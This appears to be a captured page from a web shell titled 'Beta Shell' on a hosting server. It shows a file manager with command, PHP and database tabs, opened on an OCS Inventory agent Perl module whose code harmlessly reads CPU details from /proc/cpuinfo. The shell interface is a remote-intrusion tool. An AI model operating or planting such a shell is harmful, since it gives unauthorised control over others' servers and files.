Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
share
/
perl5
/
vendor_perl
/
Ocsinventory
/
Agent
/
Backend
/
OS
/
Linux
/
Archs
/
s390x
Upload
3 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
CPU.pm
797 B
-rw-r--r--
2024-10-28 14:52:47
Edit
Del
Editing: CPU.pm
(797 B)
Path: /usr/share/perl5/vendor_perl/Ocsinventory/Agent/Backend/OS/Linux/Archs/s390x/CPU.pm
Back
package Ocsinventory::Agent::Backend::OS::Linux::Archs::s390x::CPU; use strict; sub check { my $params = shift; my $common = $params->{common}; $common->can_read("/proc/cpuinfo") } sub run { my $params = shift; my $common = $params->{common}; my $current; my $cpucores; open CPUINFO, "</proc/cpuinfo" or warn; foreach(<CPUINFO>) { print; if (/^vendor\s*:/) { if ($current) { $common->addCPU($current); } } elsif (/^processor [0-9]:\s+(\S.*)/) { $cpucores++; } $current->{MANUFACTURER} = $1 if /vendor_id\s*:\s+(\S.*)/; $current->{SPEED} = $1 if /bogomips per cpu:\s+(\S.*)/; } $current->{CORES} = $cpucores; $common->addCPU($current); } 1;